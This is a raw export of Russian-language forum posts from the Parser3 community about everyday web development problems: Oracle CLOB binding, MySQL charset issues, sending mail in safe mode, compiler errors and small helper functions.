что если попробовать измерить время выполнения запроса (например с помощью класса Erusage)? до кучи с помощью того-же Erusage посмотреть полное время формирования страницы (добавить в @postprocess вызов ^Erusage:log[...], при этом не забыть что подключить этот класс надо самым первым)\
\
может это не sql тормозит, а например пока проснётся апач, пока запустится cgi, пока вылезут из swap-а sql-ные dll-ки... т.е. второй/третий аналогичные запросы работают не быстрее?\
\
есть возможность попробовать то-же самое с другим sql сервером (удалённым)?"
"63037","а нельзя в хеше передавать тип ?\
например \
$variables[ \
   $.p_id[ \
      $.type[number] \
      $.value(1) \
   ] \
   $.p_out_result[ \
      $.type[clob] \
      $.value[] \
   ] \
] \
а то оракл приводит к типу не слоб а варчар и отсюда ошибка"
"63038","у парсера для подобного есть только string.\
для апдейта clob-ов открывается дополнительный поток, куда эти данные отдельно и льются с клиента на сервер (а не делается sql запрос с длинной текстовой строкой).\
\
парсер все эти операции проделывает сам прозрачно для писателей sql запросов (для чего собственно и предназначен управляющий комментарий, к которому я вас уже отсылал).\
\
однако как обстоит дело с binding и clob я не знаю (я высказывал _предположения_, которые можно или проверить или почитать оракловую доку)."
"63042","Bhost.ru перешел на 64 бита\
\
Появилась всем известная ошибка\
./lib/libparser3mysql.so\
driver failed to initialize client library 'libmysqlclient.so', can't open the module\
\
Если вы не используете предустановленный там парсер, то решение будет такое:\
в вашем auto.p прописать такой путь к библиотеке\
\
mysql	$sqldriversdir/libparser3mysql.so	/usr/local/parser/lib/libmysqlclient.so"
"63043","поэтому попробуйте ковырнуть сами?\
исходники доступны."
"63044","чтобы исправить/направить."
"63046","попробуйте это:\
http://www.exslt.org/regexp/index.html\
\
если упрётся, стоит попробовать убрать --without-regexps\
из buildall-with-xml (возможно понадобится убрать больше \"without\"-ов)."
"63047","присделать несложно, нужно лишь для обмена использовать не varchar буфера, а, для нужных полей, clob locators.\
\
сейчас можно только через workaround, уже обсуждали выше."
"63048","From: Konstantin Morshnev [mailto:moko@design.ru] \
Sent: Monday, October 15, 2007 7:58 PM\
\
PAF> вдруг сохранилась конкретная дата первого сайта на parser2?\
\
Да уж. Хороший вопрос. Самый маленький парсер, что нашел, относится к conseco.\
Но на сайте ничего про нее не нашел. :) По логике дата последнего редактирования \
macro.h, то есть 2 июня 1997 - ближе всего к сути происходящего. Она же есть в \
паре других архивов.\
\
>> Уважаемые разработчики!\
>> Когда у парсера день рождения? \
\
[code]\
Archive:  parser.zip\
  Length   Method    Size  Ratio   Date   Time   CRC-32    Name\
--------  ------  ------- -----   ----   ----   ------    ----\
      152  Defl:N       96  37%  06-02-97 21:14  e9e8a34b  Makefile\
     3612  Defl:N     1469  59%  11-12-97 15:39  ad8cf05c  common.cc\
     1107  Defl:N      433  61%  11-12-97 15:39  ac8669c7  common.h\
      317  Defl:N      166  48%  12-10-97 08:26  4c35fe0c  config.h\
     3695  Defl:N     1309  65%  12-10-97 08:27  71765706  conseco.cc\
       67  Defl:N       54  19%  06-02-97 00:11  af8ec2c3  m\
     5732  Defl:N     1938  66%  06-04-97 20:30  6bfcedbd  macro.cc\
      561  Defl:N      227  60%  06-02-97 21:19  b6bf5381  macro.h\
      101  Defl:N       57  44%  12-10-97 08:22  756f27ff  make.bat\
     1157  Defl:N      508  56%  06-02-97 01:02  b6b84452  objects.h\
       47  Defl:N       40  15%  12-10-97 08:54  55d24f8e  process.bat\
        0  Stored        0   0%  11-26-97 02:51  00000000  read.me/\
     1253  Defl:N      702  44%  11-20-97 21:35  c5d7657d  read.me/conseco.txt\
--------          -------  ---                            -------\
    17801             6999  61%                            13 files\
\
[/code]"
"63049","Почти месяц есть на подготовку и празднование. Тем более, что лето не лучшее время для замечательных праздников - отпуска все-таки... ;-)"
"63050","но увы, я на С ни чего не делал :(\
можно сказать, я его не знаю...\
Где искать проблему, я увы тоже не знаю...\
Может Вы подскажите, что мне нужно сделать, и где (файл) искать, и какой компилятор пользовать, и где взять сам компилятор?!!!\
Или не могли бы Вы сами попробовать исправить? (желательно)\
\
\
PS: Просто сейчас ситуация стоит остро, так как сайт закончен, а заказчик хочет именно на IIS6. Уже все сроки прошли, результатов нет, каждый день теряю часть своего гонорара... :(\
В любом случае, надо решать вопрос! прошу помочь мне в этом..."
"63051","Попытался сделать не с DLL, а с EXE файлом. (_test.html - win-1251 заработало, с UTF-8 - проблема со String) Всё работает кроме одного!\
----\
DOCUMENT_ROOT: не определен\
----\
Ну это ладно.\
\
Всё же хочется сделать на DLL.\
Вот какая тут ситуация с DLL.\
Ошибки на:\
[code]^str.upper[]\
^str.lower[][/code]\
 с UTF-8 - пишет:\
Не определена таблица с кодовыми таблицами ($CHARSETS). \
Не определена таблица с драйверами ($SQL.drivers) \
DOCUMENT_ROOT: не определен\
С win-1251? тоже самое... кроме String? но это я уже озвучил..."
"63052","ещё раз: мы не используем IIS, у меня есть просто не установлено чтобы пробовать, и устанавливать нет ни малейшего желания.\
\
судя по отзывам у некоторых это работает. возможно поиск по форуму решит вашу проблему. и я не думаю что ПАФ имел в виду, что вам нужно заниматься компиляцией.\
\
когда вы кидаете его в корень сайта (т.е. грубо говоря вы отказываетесь от использования отдельного конфигурационного файла, помещая конфигурационный метод в корневой auto.p), то получаете ошибку. это -- прогресс, т.к. что-то меняется. сообщение об ошибке вам доступно (или вы можете сделать, чтобы оно было доступно, редактируя метод @unhandled_exception), вы можете его почитать и решить проблему.\
\
в принципе вы можете отказаться от конфигурационного auto.p, и конфигурационный метод @conf[] разместить или в корневом auto.p или вынести в отдельный conf.p, и вызвать из корневого: ^use[conf.p]"
"63053","Если честно - последний пост не понял.\
Вышел из ситуации - путем исключения out параметра.\
Серверный код с процедуры переделал на функцию \
[code]function cur_tree\
   (p_id                in     tree.id%type) return clob[/code]\
\
парсера  - \
[code]^connect[$connect_string]{\
       $p_out_result[^string:sql{select reference.cur_tree('$fid') from dual}]\
}\
$sql_table[^table::create{^taint[as-is][$p_out_result]}][/code]\
\
но как выйти из ситуации еcли есть in/out и он clob ?\
пробовал подсунуть ораклу переменную  \
[code]$p[]\
^for[i](1;1001){$p[$p+'_']}\
^p.length[]\
[/code]\
>4000 дает другую ошибку\
ORA-01480: trailing null missing from STR bind value\
 (execute, -1)"
"63054","Всем спасибо! Исполнитель пока нашёлся."
"63055","А вот с этим после апгрейда бихоста до MySQL 4.1.21 не могу разобраться.\
\
Использую такие кодировки\
\
$request:charset[utf-8]\
$response:charset[utf-8]\
\
заливаю дамп в utf-8 простой командой\
mysql  mydb < mydb.sql\
\
Использую $SQL.connect-string[mysql://mylogin:mypass@myserver/mydb]\
\
Получается вот такая чехорда с кодировками (скриншот):\
\
http://nordisk.pp.ru/jj/bhost.gif"
"63056","[quote]заливаю дамп в utf-8 простой командой[/quote]\
\
1. приведите кусочек dump-a, где есть команда создания любой таблицы с текстом. там случайно у таблицы не указана кодировка?\
\
2. парсером сделайте запрос show variables, выведите результаты, и приведите значения переменных, которые имеют в имени 'character_set'. до кучи можете привести значение переменной version."
"63057","Правда, мне они рассказывают, что ничего не апгрейдили, всё так и было.\
\
Чего только не делал — не помогало.\
Последовал совету Миши и переконвертил таблицы и данные в utf.\
Задал в строке соединения ?charset=utf8.\
Вроде нормально.\
\
В вашем случае данные, скорее всего, в koi8 (по-умолчанию), а Парсер их перекодирует в utf."
"63059","У таблицы кодировка не указана\
\
[code]\
DROP TABLE IF EXISTS sun_resources;\
CREATE TABLE sun_resources (\
  id int(10) unsigned NOT NULL auto_increment,\
  uuid varchar(40) NOT NULL default '',\
  name varchar(32) NOT NULL default 'noname',\
  title varchar(64) NOT NULL default 'noname',\
  body text,\
  list text,\
  processed tinyint(1) unsigned NOT NULL default '0',\
  created datetime default NULL,\
  modified datetime default NULL,\
  attrib tinyint(3) unsigned NOT NULL default '0',\
  lang varchar(5) NOT NULL default '',\
  cluster char(3) NOT NULL default '',\
  PRIMARY KEY  (id),\
  KEY name (name)\
) TYPE=MyISAM;\
\
--\
-- Dumping data for table `sun_resources`\
--\
\
INSERT INTO sun_resources VALUES (1,'DDD689C5-E747-4E49-A8B6-E192A0A91AF4','copyright','noname','&#169; Dmitry Litvinenko','',0,NULL,NULL,3,'','');\
\
[/code]\
\
Вот переменные:\
\
character_set_client	utf8\
character_set_connection	koi8r\
character_set_database	koi8r\
character_set_results	utf8\
character_set_server	koi8r\
character_set_system	utf8\
collation_connection	koi8r_general_ci\
collation_database	koi8r_general_ci\
collation_server	koi8r_general_ci\
\
\
какая-то бодяга с koi8r \
что бы с ней сделать?\
\
?charset=utf8 - нет эффекта\
^void:sql{SET CHARACTER SET UTF8} - нет эффекта"
"63060","0. покажите переменные 'character_set...' если подключиться не парсером (например Front, Heidi...)\
1. в начало вашего dump-а добавьте строку:\
SET CHARACTER SET UTF8;\
2. повторите загрузку dump-а\
3. попробуйте с ?charset=utf8\
4. попробуйте посмотреть парсером на переменные 'character_set...' когда соединение сделано с ?charser=utf8 и без ?charset (очевидно, что указанного вами void:sql тоже быть не должно)\
5. ну и самое извращение: global replace в dump-е конструкции 'TYPE=MyISAM' на 'TYPE=MyISAM CHARSET=UTF8' %-) [лучше попробовать разобраться с причиной, а это использовать в крайнем случае]"
"63061","В начало дампа вставил строку /*!40101 SET NAMES utf8 */;"
"63062","Спасибо.\
Вобщем там mysql при загрузке дампа решил, что он, пожалуй, загрузит все в koi8\
помогло вставить туда /*!40101 SET NAMES utf8 */;\
ото всех дополнительных конструкций ?charset и void после этого удалось избавиться\
hurrah \
\
(к чести хостера, похожая подсказка была у них в справке. просмотрел сначала, так как она размещалась под заголовком со сработавшим стоп-словом phpMyAdmin :)"
"63063","вам сообщали об изменениях в mysql?"
"63065","В данный момент в момей cms написанной на парсере результат собирается из блоков которые привязаны к элементу структуры сайта, определение того что сейчас нужно обработать этот элемент структуры происходит по $request:uri, возникла идея поменять саму суть движка так чтобы результат собрался из блоков по $request:*, $form:*, $cookie:*, т.е. не только из блоков привязанных к структуре, может быть кто-то уже задумывался над чем-то подобным?"
"63066","по-моему, никакой связи.. пост, гет, кукисы - всего лишь способ передачи переменных скрипту... хотя может я вас не так понял.."
"63067","Попробовал сделать, как вы посоветовали:\
в авто.р -\
[code]@postprocess[body]\
$body\
^Erusage:log[$.sFile[/news/erusage.log]]\
[/code]\
\
в логе имеем - \
[2007-10-17 17:33:58]	0.0625	0.0469	5196	[308/48]	127.0.0.1	/news/\
[2007-10-17 17:34:08]	0.0313	0.0469	5196	[308/48]	127.0.0.1	/news/\
[2007-10-17 17:35:13]	0.0469	0.0469	5192	[308/48]	127.0.0.1	/news/\
\
Правильно ли я устроил проветку, что за данные в логе, помогите разобраться.\
Если мне надо ещё почитать доку или фак - тыкнете носом.\
Спасибо."
"63068","если у вас класс подключается в корневом auto.p с помощью:\
[code]@USE\
Erusage.p\
# дальше подключаются остальные классы[/code]\
\
то проверку вы устроили правильно.\
что за данные в логе можно понять глянув код Erusage.p, но нас интересуют 2 и 3 столбцы:\
2 -- чистое процессорное время выполнения парсером кода\
3 -- разница между временем начала выполнения кода (подключением Erusage.p) и окончанием (запись в лог)\
\
видим 0.0313 0.0469 (это в секундах), т.е. выполнялось далеко не те \"пару секунд\", о которых вы пишите, а менее 5 сотых секунды.\
при этом два этих времени отличаются мало, т.е. парсер не ждал других процессов долгое время.\
\
запись 0.0625 0.0469 я не очень понимаю.\
но это объяснимо: эти времена считается разными методами + второе время засекается с момента подключения Erusage.p, а до него делается ещё много чего... да и в любом случае речь идёт о паре сотых, а не \"паре секунд\".\
\
вывод: парсер тут не причем. разбираться надо с веб сервером (может у вас в его настройках сказано, чтобы он резолвил имена обратившихся к нему хостов? это и в общем случае небыстрая операция, а при недоступности dns может быть и очень тормозной).\
\
как простейший тест: отключить парсер как обработчик страниц и обратиться к документу (ну или оставить SSI). скорее всего тоже будут тормоза."
"63070","Код из примера:\
\
[code]^if($num > 10 && (($num % 100) \\ 10) == 1){[/code]\
\
Кто-нибудь может объяснить, зачем здесь $num > 10 ?"
"63072","В том и идея что комбинация пост, кукисов и еще чего-нибудь добавляет блок к странице, т.е. создать набор правил которые добавляют блоки не привязанные к разделу, а которые приязывают блоки в зависимости от комбинаций form cookie параметров"
"63074","имхо в процессе обдумывания примера, вы сами поймете, что это ведет к лишней путанице"
"63076","думаю только для того, чтобы не считать (($num % 100) \\ 10) == 1 для чисел меньше 10 (что бессмысленно), а сразу переходить в else-блок \
\
типа оптимизация :)\
\
если при использовании ф-ции обычно фигурируют числа 1-го десятка - это возможно имеет смысл, можно померить. Для равномерного ряда от 0 до 10000 - никакой разницы.\
\
кстати, вместо \
^case(5;6;7;8;9;0){$result[$genitive_plural]} \
я бы написал \
^case[DEFAULT]{$result[$genitive_plural]}\
\
но это на вкус, скажется ли это как то на производительности - не знаю.\
\
у меня подобная  ф-ция выглядит так:\
\
[code]@intRuCases[num;case1;case234;caseDefault]\
# если последние две цифры 10..19\
^if((($num % 100) \\ 10)== 1){\
        $result[$caseDefault]\
}{\
        ^switch($num % 10){\
                ^case(1){$result[$case1]}\
                ^case(2;3;4){$result[$case234]}\
                ^case[DEFAULT]{$result[$caseDefault]}\
        }\
}\
[/code]\
имхо, case1,case234 - легче запомнить (сущ при числе 1 - яблоко, сущ. при числах 2,3,4 - яблока, во всех остальных случаях - яблок) чем вспоминать каждый раз, что такое genitive_plural :)"
"63077","другим словами: получится огромное количество вариантов блоков, которые вам надо будет создать."
"63078","нет, я не вижу в этом смысла... хотя можете привести контр-пример :)"
"63079","В процессе придумывания примера решил что все можно реализовать через блоки, которые подключаются ко всем страницам."
"63080","а есть ли разница, в каком месте вызавать ^Erusage:compact[$.bForce(1)]? Я пробовал и до и после смыслового блока, и в обоих местах, но разница, судя по логу, не существенная.\
[quote]вот ты и сам ответил на свой вопрос[/quote]\
Попробовал отключить парсер. Всё круто.\
И ещё - тормоза наблюдаются только на странице, где идет работа с БД.\
Подскажите пожалуйста, какие параметры посмотреть в настройках mysql-сервера по поводу имен.\
Заранее благодарен."
"63081","[code]@decline[iNum;sOne;sSome;sMany]\
$result[^switch(true){\
    ^case(^math:abs($iNum % 100 - 12) <= 7){$sMany}\
    ^case(^math:abs($iNum % 10 - 3) <= 1){$sSome}\
    ^case($iNum % 10 == 1){$sOne}\
    ^case[DEFAULT]{$sMany}\
}]\
#end @decline[][/code]"
"63082","а где я писал, что надо вызывать ^Erusage:compact[]? не нужен он вам (даже вреден, т.к. жрёт время, которое вы измеряли) для этой проверки.\
\
[quot]\
Попробовал отключить парсер. Всё круто.\
И ещё - тормоза наблюдаются только на странице, где идет работа с БД.\
Подскажите пожалуйста, какие параметры посмотреть в настройках mysql-сервера по поводу имен.\
[/quot]\
\
хм. я пас. \
я имел в виду resolve имен апачем. если бы по какой причине тормозил mysql, это должно было бы быть видно по цифре в 3 столбце."
"63083","[code]\
@decline[iNum;sOne;sSome;sMany]\
$result[$sMany]\
^if( ^math:abs( $iNum % 10 - 3 ) <= 1 ){ $result[$sSome] }\
^if( $iNum % 10 == 1 ){ $result[$sOne] }\
#end @decline[]\
[/code]"
"63084","Подставьте 11, 12, 13."
"63085","число 11 попадает в 1 и 3 случай -> duplicate"
"63087","http://www.parser.ru/forum/?id=60964\
\
никто не подсказал даже алгоритма, как сиё ловить...\
\
под денвером был обновлен mysql до 5.1 и библиотеки соответственно, после чего совершенно мне не понятные тормоза появились.\
\
причем я делал сэйвы, даже в постпроцессе - было видно, что файл на диске с произвольными данными уже появился (т.е. все обработки, включая запросы к mysql уже прошли)- а браузер тупит и чего то ждет, потом оп! - и мгновенно выдает страницу. \
\
От браузера это не зависело, от апача тоже, по крайней мере связка apache 1.3 +mysql 4.1 - работала корректно, а тот же апач +mysql 5.1 - с тормозами"
"63088","Просто я сейчас на Парсере совсем не пишу, в основном на XSLT."
"63090","[code]@main[]\
^decline[11;яблоко;яблока;яблок]\
\
\
@decline[iNum;sOne;sSome;sMany]\
$result[^switch(true){\
    ^case(^math:abs($iNum % 100 - 12) <= 7){$sMany}\
    ^case(^math:abs($iNum % 10 - 3) <= 1){$sSome}\
    ^case($iNum % 10 == 1){$sOne}\
    ^case[DEFAULT]{$sMany}\
}]\
#end @decline[][/code]\
\
->>\
\
[quote][b]case[/b]\
\
duplicate found[/quote]"
"63093","сперва вычисляются значения case, потом идет сравнение по порядку\
\
сам напарывался на такое поведение\
\
[code]\
$o[$.name[test]]\
^test[$o]\
$o[test]\
^test[$o]\
\
@test[]\
^switch(true){\
  ^case($o is string){...}\
  ^case(def $o.name){...}\
}\
[/code]\
\
2й вызов даст ошибку :-(   =>   или сразу же идет вычисление всех логических значений, или проверяются все ^case"
"63096","Меня, как обычно, не интересует техническая сторона вопроса: расставить нужный 'em' в спанах, может кто-угодно.\
\
Мне интересно вот что. А как бы так извертеться, чтобы ключевые слова самоопределялись скриптом. Конечно, потом их можно было б проверить руками, но вот чтобы автоматика присутствовала.\
\
Есть идеи?\
\
PS: Теперь, слово «облако» ищется на форуме только в этом треде."
"63097","Не понял, причем тут облако тэгов?\
\
[quote]PS: Теперь, слово «облако» ищется на форуме только в этом треде.[/quote]\
\
а его в других и нету...\
\
Про ключевые слова вам наверно сюда:\
http://xpoint.ru/know-how/VebAlgoritmyi/RabotaSTekstami/AvtomaticheskoeOpredelenieKlyuchevyihSlov\
\
угадал?"
"63098","Ну, при том, что я не keywords хочу, а собсно ключевые, или даже тематические слова. То есть тут не совсем прокатит частота употребления.\
\
Я вот подумал, а если узко поставить задачу. Имеем новости, которые добавляет, ну пусть человек. И имеем также таблицу с тегами, которые мы хотели бы видеть. То есть сразу ограничиваем себя =). Эту таблицу прогоняем по тексту новости и совпадения у нас дают уже какой-либо результат.\
\
Ну к примеру, таблица.\
\
[code]путин\
баян\
быстрый[/code]\
\
И текст.\
\
[quote]«Владимир Путин лично представил нового директора Службы внешней разведки Михаила Фрадкова.»[/quote]\
\
Собственно «путин» совпадёт, а «баян» и «быстрый» — нет.\
\
Но этот пример с ручным добавлением не канает, так как если это вводится человеком, то и им же может быть поставлены нужные теги, которые он с гораздо большей чёткостью определит своим мозгом. А если новость добавляется автоматом?"
"63099","Механизм извлечения фактов"
"63102","В примере по отправке формы обратной связи у меня выдает ошибку \"Сожалеем, но при отправке письма возникла ошибка.\" Где можно проверить логи? Логи парсера и сервера молчат об этом.\
\
\
Порыл по форуму и попробовал просто:\
\
^mail:send[\
$.to[some@mail.ru]\
$.from[mail@chb.ru]\
$.subject[Обратная связь с сайта]\
$.text[привет]\
]\
\
Но тут выдает ошибку \"parser is in safe mode\". Это мне теперь из-за формы обратной связи весь Парсер перекомпилировать придется?\
И здесь где-то все таки должна быть связь с POP3 и SMTP? Иначе ведь тогда любой сможет отправить письмо от чужого имени и счужого адреса.\
Или я что-то не понимаю?"
"63105","Есть определенный код, который работает хорошо, используется также класс авторизации auth.p.\
При загрузке страницы с этим кодом, в классе авторизации, в этом месте...\
	[code]^csql.void{\
		DELETE FROM\
			asession\
		WHERE\
			auser_id = 0 AND\
			dt_access < ^csql.date_sub[;^date_diff.int($session_lifetime)]\
	}[/code]\
...один раз в 20-40 перезагрузок этой страницы, непонятно почему вылазит ошибка - неопределенный метод date_sub:\
\
[i][b]date_sub[/b]\
\
undefined method\
/Library/WebServer/Documents/classes/auth.p(1055:43)\
jQuery	/Library/WebServer/Documents/classes/sql/Sql.p(87:29)\
jQuery	/Library/WebServer/Documents/classes/sql/Sql.p(164:19)\
_getOptions	/Library/WebServer/Documents/classes/sql/Sql.p(87:16)\
result	/Library/WebServer/Documents/classes/sql/Sql.p(87:2)\
void	/Library/WebServer/Documents/classes/auth.p(1050:15)\
try	/Library/WebServer/Documents/classes/auth.p(1040:2)\
clearSession	/Library/WebServer/Documents/classes/auth.p(986:10)\
if	/Library/WebServer/Documents/classes/auth.p(985:2)\
updateSession	/Library/WebServer/Documents/classes/auth.p(310:23)\
add	/Library/WebServer/Documents/classes/auth.p(310:18)\
if	/Library/WebServer/Documents/classes/auth.p(309:2)\
initSession	/Library/WebServer/Documents/classes/auth.p(119:2)\
init	/Library/WebServer/Documents/classes/myAuth.p(11:7)\
init	/Library/WebServer/Documents/index.html(6:16)[/i]\
\
Классы sql новые, метод date_sub на месте.\
Почему эта ошибка может возникать и как от нее избавиться?"
"63107","Ну естесственно я искал. но ничего подходящего не нашел."
"63110","там есть имя файла, на котором она произошла\
\
я пока не очень понимаю связи между safe mode и mail:send"
"63112","/usr/sbin/sendmail\
parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/usr/sbin/sendmail', fuid(0)!=euid(500) or fgid(51)!=egid(500)\
/home/webadmin/samocvet.net/html/_mail.html(4:7)\
\
Это он так ругается на файл _mail.html, который состоит только из \
\
^mail:send[\
$.to[ilyas_urg@mail.ru]\
$.from[mail@chb.ru]\
$.subject[Обратная связь с сайта]\
$.text[привет]\
]"
"63113","Поиск по форуму даст четкий ответ где взять такую версию."
"63114","Но сейчас попробую найти"
"63115","насколько я вижу, вызывается метод clearSession. по кому он вызывается не при каждой загрузке, а время от времени:\
[code]\
^if(^math:random(100) < 10){\
	^self.clearSession[]\
}\
[/code]\
\
попробуйде изменить код и сделать чтобы он вызывался постоянно:\
[code]\
^if(1 || ^math:random(100) < 10){\
	^self.clearSession[]\
}\
[/code]\
если ошибка будет появляться при каждой загрузке, то очевидно, что у используемого вами объекта csql нет метода date_sub или при каких-то обстоятельствах до сюда не доходит правильный объект csql.\
\
почему? не знаю. попробуйте проверить, например с помощью ^if($csql is \"...\"){^throw[;...]} или вызовите метод date_sub сразу после создания объекта/в конструкторе классса auth."
"63116","Не могу найти версию для Linux...\
И почему их нет в разделе \"скачать\"..."
"63117","парсер вам говорит, что не будет запускать файл, принадлежащий другому пользователю или группе.\
\
Пока вижу три варианта:\
1. собрать (или найти) grpunlim-версию парсера, т.е. собранную с ключом --disable-safe-mode (о чем вам сказал Sumo)\
\
2. Попробовать в конфигурационном auto.p прописать, согласно доке SMTP-сервер:\
[code]$MAIL[ \
   $.SMTP[адрес_SMTP_хостера] \
] [/code]\
\
Адрес можно спросить у самого хостера\
\
3. обратится в техподдержку хостинга и обрисовать ситуацию и ваше желание, чтобы sendmail запускался от имени того же пользователя, что и апач/парсер."
"63119","Изменил код, чтобы ^clearSession вызывался постоянно, ошибка все равно выскакивает, редко, но выскакивает. Вот только почему, неясно...\
\
пришлось просто взять и убрать пару строчек кода из метода clearSession:\
\
[code]@clearSession[date_diff][cleared_users;deleted_sessions;uid;cnt;ids;tmp]\
# очищаем неавторизированные сессии\
^csql.void{\
	DELETE FROM\
		asession\
	WHERE\
		auser_id = 0 \
#		AND\
#		dt_access < ^csql.date_sub[;^date_diff.int($session_lifetime)]\
}[/code]\
\
Чем это плохо? Только тем что будут удаляться все записи, не оставляя новые?"
"63121","собственно, такой вопрос.\
\
есть сомнения к тому, и к тому варианту потому, что:\
— при повторной типографике уже оттипографленного текста результат меняется\
— при выводе постов блога типографить каждый на лету кажется не разумным\
\
\
как лучше?"
"63123","По второму вопросу - http://www.parser.ru/forum/?id=10896"
"63124","Оптимально хранить в базе одновременно исходник и отформатированный текст (в разных полях, разумеется). Все тяжелые действия (типографирование, обработку псевдотегов и пр.) делать при добавлении/редактировании материала."
"63125","Спасибо"
"63126","[code]\
        then mv -f \".deps/pa_common.Tpo\" \".deps/pa_common.Po\"; else rm -f \".deps/pa_common.Tpo\"; exit 1; fi\
../types/pa_method.h:77: ошибка: extra qualification 'Method::' on member 'Method'\
make[2]: *** [pa_common.o] Ошибка 1\
make[2]: Leaving directory `/home/givi/parser-3.2.1/src/main'\
make[1]: *** [install-recursive] Ошибка 1\
make[1]: Leaving directory `/home/givi/parser-3.2.1/src'\
make: *** [install-recursive] Ошибка 1\
DONE\
[/code]\
\
WTF?"
"63128","parser-3.2.1sp2.tar.gz\
\
[code]Спецификации прочитаны из /usr/lib/gcc/i486-slackware-linux/4.1.2/specs\
Целевая архитектура: i486-slackware-linux\
Параметры конфигурации: ../gcc-4.1.2/configure --prefix=/usr --enable-shared --enable-languages=ada,c,c++,fortran,java,objc --enable-threads=posix --enable-__cxa_atexit --disable-checking --with-gnu-ld --verbose --with-arch=i486 --target=i486-slackware-linux --host=i486-slackware-linux\
Модель многопотоковости: posix\
gcc версия 4.1.2\
[/code]\
\
\"Чистая инсталляция\", - перед сборкой переустановил систему."
"63130","На них наложены патчи для сборки под четвертым GCC.\
\
http://www.parser.ru/forum/?id=62054"
"63131","ого!\
спасибо, вроде все понятно.\
\
и, скажите, как я тред, подобный своему, могу найти в поиске?"
"63132","Благодарю, сейчас попробую."
"63135","Рассказывайте подробно: какие команды вводили (начиная с получения кода из CVS), какие сообщения получаете.\
\
У меня на OpenSUSE собирается \"в лет\". Да и на FreeBSD не намного сложнее."
"63137","То-же самое, ошибка ): В итоге собрал у хостера. Попробую использовать его."
"63138","в указанном вами месте (pa_method.h:77) -- ошибка исправлена аж 10 месяцев назад: http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/types/pa_method.h.diff?r1=1.6&r2=1.7\
\
другая ошибка вполне могла вылезти при сборке вашим компилятором, но... не узнаем о ней мы -- она не будет исправлена и позже."
"63143","[quot]\
...на FreeBSD не намного сложнее.\
[/quot]\
\
всё-таки сложнее. а что именно не так? \
\
я пробовал на 4.11 и на 6.x -- в помощью предлагаемых скриптов head версия на обоих ОС собирается без проблем."
"63144","... сборочные скрипты. Раскоментировать strip, а также динамическую линковку с libc. Иначе бинарники шибко большие получаются.\
\
Кроме того я бы добавил в скрипт удаление мэйкфайла. Если его не удалить, то невозможно подряд собарать две версии парсера (с/без xml).\
\
Мелкая деталь: под freebsd приходится запускать configure для sql-драйверов с хитрыми ключами - в BSD либы лежат по другим путям."
"63145","Боюсь, что всё сделал верно ):\
\
Странное дело, проблема решилась совершенно неожиданно - скомпилированный, с parser.ru на 12-ой работает, равно как и у хостера с Ред-хатом, а на одинадцатой не работал... Зато собирался. А на 12-й работает, но не сорбирается.\
\
Чудны дела Твои, Господи!"
"63147","Покажите все команды, которые вы используете при сборке.\
\
p.s. У меня есть стойкое ощущение, что вы вытаскиваете из CVS'а не HEAD-ветку."
"63148","«Путин» и «путин» не совпадет )\
\
А вообще я так вижу алгоритм реализации:\
\
1. Делаем ^string.lower[]\
2. Делаем ^string.replace[] и убираем из текста все знаки препинания.\
3. ^string.split[] по пробельному символу.\
4. Переводим таблицу в хеш ^table.hash[][$.distinct[tables]]\
5. Крутим таблицу тегов: ^table.menu{ ^if( $hash.field ) … }\
\
На больших объемах будет медленно.\
\
И еще надо приводить слова к первоначальной форме, чтобы к словам «Путину», «Путина» и т.д. привязывался бы тег «путин»."
"63149","[quot]\
скомпилированный, с parser.ru на 12-ой работает, ... Зато собирался.\
...\
А на 12-й работает, но не сорбирается.[/quot]\
\
и у \"не работает\" и у \"не собирается\" есть более явные проявления, которым можно сделать copy/paste дабы избавиться от них в последующих версиях.\
\
конечно, решение помогать в этом или нет за вами. судя по всему вам лень это делать. однако у меня, как и у Sumo, есть почти уверенность, что вы пытаетесь собирать не HEAD версию, а 3.2.1. но она не собирается 4 версией компилятора."
"63150","Сейчас напоролся на \"проблему\" в sh-файле.\
Если в куске...\
[code]\
  ./configure --prefix=$install_directory \\\
     \"--with-sendmail=$sendmail_command\" \\\
     --with-static-gc=$project_directory/gc/lib \\\
#     --disable-safe-mode \\\
#     --with-dynamic-stdcpp \\\
     --silent\
[/code]\
... просто раскоментировать \"--with-dynamic-stdcpp\", то сборка все равно не будет идти с новым ключем. Необходимо прибить вторую строку с коментарием.\
[code]\
  ./configure --prefix=$install_directory \\\
     \"--with-sendmail=$sendmail_command\" \\\
     --with-static-gc=$project_directory/gc/lib \\\
     --with-dynamic-stdcpp \\\
     --silent\
[/code] \
\
Особенность экранирования символов в шелле."
"63152","http://www.mmoma.ru/index.php?path[]=ru&path[]=home_container&path[]=exhibition-2007-10-11-21-09-35"
"63153","Жесть какая :)\
\
http://www.mmoma.ru/index.php?path[]=ru&path[]=main_menu&path[]=section-2005-08-08-16-12-31&path[]=section-2006-08-13-13-03-18&path[]=exhibition_container-2005-10-01-07-50-50&path[]=exhibition-2007-09-13-18-51-04&printout=1"
"63154","Если пишем имя поля формы как \"name[]\", то в программе появляется массив.\
\
http://php.spb.ru/php/form.html\
\
p.s. В Парсере такое реализуется через $form:tables - http://www.parser.ru/docs/lang/formtables.htm\
p.p.s. Программист mmoma.ru, видимо, поленился сделать нормальные имена для параметров или использовать mod_rewrite для формирования урлов."
"63155","Жесть какая :)"
"63158","Привет! \
Подскажите пожалуйста, есть ли среди множества редакторов для которых есть подсветка parser такой, \
кто позволяет переходить к опеределению метода при клике по нему? \
Очень было бы удобно. Спасибо."
"63159","... списки методов умеют составлять многие редакторы (например Ultraedit). А вот какие-то более сложные механизмы (например, у метода может быть достаточно сложное название \"^first.second.third[]\" и понять куда надо перепрыгнуть при нажатии на \"second\" бывает очень не просто) требуют наличия в редакторе семантического разбора (фактически в редактор надо встаривать кусок Парсеровского компилятора), чего в большинстве редакторов нет."
"63160","Да, думаю что при сложной семантике вряд ли существует универсальный редактор, синтаксис определения классов везде свой. \
Просто было очень здорово если бы для parser появился редактор хотя бы с частью функционала, какой имеет IntelliJ IDEA для java и javascript )."
"63161","Сделаете - не забудьте поделиться с общественностью. :)"
"63162","поищите поиском."
"63163","Оказалось, что не нужно grpunlim версии парсера.\
\
В конфигурационном auto.p указал $MAIL[$.SMTP[localhost:25]] (Хостер Rusonyx)\
\
Поле To может быть любым существующим (на любом сервере), а From должен быть существующим на исходящем сервере. Вот и все!"
"63165","А тут localhost:25\
\
И вообще, я это написал следующих ищущих :)))"
"63166","А вы считаете что есть какая то разница?\
\
